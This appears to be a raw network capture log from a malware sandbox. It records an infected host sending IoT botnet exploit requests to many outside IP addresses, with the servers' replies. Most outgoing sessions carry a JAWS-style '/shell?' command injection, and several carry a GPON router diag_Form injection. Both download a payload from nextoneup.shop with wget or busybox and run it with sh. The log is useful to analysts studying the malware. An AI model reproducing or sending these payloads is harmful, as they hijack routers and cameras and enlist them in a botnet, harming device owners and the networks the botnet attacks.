Apr 14, 2024 04:00:54.754555941 CEST	500	IN	HTTP/1.1 404 Not Found Server: 7ffef92b-acca-ba6-56e3-3d90ab5c288b Date: Sun, 14 Apr 2024 02:00:51 GMT Cache-Control: no-cache,no-store Content-Type: text/html; charset=%s Connection: close Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 6e 69 5f 68 74 74 70 64 2f 22 3e 37 66 66 65 66 39 32 62 2d 61 63 63 61 2d 62 61 36 2d 35 36 65 33 2d 33 64 39 30 61 62 35 63 32 38 38 62 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/mini_httpd/">7ffef92b-acca-ba6-56e3-3d90ab5c288b</A></ADDRESS></BODY></HTML>
Apr 14, 2024 04:00:56.253067970 CEST	500	IN	HTTP/1.1 404 Not Found Server: 7ffef92b-acca-ba6-56e3-3d90ab5c288b Date: Sun, 14 Apr 2024 02:00:51 GMT Cache-Control: no-cache,no-store Content-Type: text/html; charset=%s Connection: close Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 6e 69 5f 68 74 74 70 64 2f 22 3e 37 66 66 65 66 39 32 62 2d 61 63 63 61 2d 62 61 36 2d 35 36 65 33 2d 33 64 39 30 61 62 35 63 32 38 38 62 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/mini_httpd/">7ffef92b-acca-ba6-56e3-3d90ab5c288b</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1422	192.168.2.23	55830	45.207.127.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:54.455137014 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:54.773802042 CEST	457	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Date: Sun, 14 Apr 2024 02:00:31 GMT Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1423	192.168.2.23	49216	43.134.68.176	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:54.475776911 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:54.814369917 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:54 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1424	192.168.2.23	56456	151.99.202.235	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:54.482251883 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:54.829082012 CEST	272	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Type: text/plain Server: proxygen-bolt Date: Sun, 14 Apr 2024 02:00:54 GMT Connection: keep-alive Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1425	192.168.2.23	48772	178.105.149.241	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:54.534065008 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1426	192.168.2.23	44570	202.146.59.154	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:54.534137011 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1427	192.168.2.23	53648	5.146.182.167	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:54.534178972 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1428	192.168.2.23	52850	184.24.62.138	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:54.645909071 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:54.848994970 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:00:54 GMT Date: Sun, 14 Apr 2024 02:00:54 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 38 36 63 63 64 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 35 34 26 23 34 36 3b 39 66 34 37 30 31 36 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 34 38 36 63 63 64 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 35 34 26 23 34 36 3b 39 66 34 37 30 31 36 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.486ccd17.1713060054.9f47016<P>https://errors.edgesuite.net/9.486ccd17.1713060054.9f47016</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1429	192.168.2.23	51982	195.201.241.61	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:54.814594030 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:55.163929939 CEST	23	IN	HTTP/1.1 302 Redirect

Session ID	Source IP	Source Port	Destination IP	Destination Port
1430	192.168.2.23	58548	211.75.245.173	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:55.074209929 CEST	511	IN	Data Raw: 28 6e 75 6c 6c 29 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 37 63 61 65 39 37 32 33 2d 64 61 64 66 2d 32 65 65 32 2d 62 61 62 31 2d 33 63 31 36 66 30 31 65 39 31 30 35 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 Data Ascii: (null) 400 Bad RequestServer: 7cae9723-dadf-2ee2-bab1-3c16f01e9105Date: Sun, 14 Apr 2024 02:00:52 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sConnection: close<HTML><HEAD><TITLE>400 Bad Request</TITLE><

Session ID	Source IP	Source Port	Destination IP	Destination Port
1431	192.168.2.23	34550	112.179.116.243	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:56.490544081 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:56.895970106 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:57.891902924 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:59.875605106 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:03.811058998 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:11.746004105 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:27.615761995 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1432	192.168.2.23	41564	80.158.110.236	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:56.498893976 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:56.824090958 CEST	431	IN	HTTP/1.1 301 Moved Permanently Server: Duo/1.0 Date: Sun, 14 Apr 2024 02:00:56 GMT Content-Type: text/html Content-Length: 164 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 44 75 6f 2f 31 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>Duo/1.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1433	192.168.2.23	40100	216.92.183.137	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:56.724920034 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:56.961047888 CEST	617	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 02:00:56 GMT Server: Apache Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 296 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 38 30 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1434	192.168.2.23	34360	190.167.20.71	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:56.757234097 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:57.029726982 CEST	316	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Apr 14, 2024 04:00:57.030281067 CEST	1289	IN	Data Raw: 64 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d37<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Apr 14, 2024 04:00:57.030304909 CEST	1289	IN	Data Raw: 3d 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 74 28 22 Data Ascii: = ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshort
Apr 14, 2024 04:00:57.030335903 CEST	853	IN	Data Raw: 7b 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 6f 72 20 6d 6f 72 Data Ascii: {var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}

Session ID	Source IP	Source Port	Destination IP	Destination Port
1435	192.168.2.23	53352	109.203.100.140	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:56.800924063 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:57.120280981 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:56 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Keep-Alive: timeout=5, max=100 Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 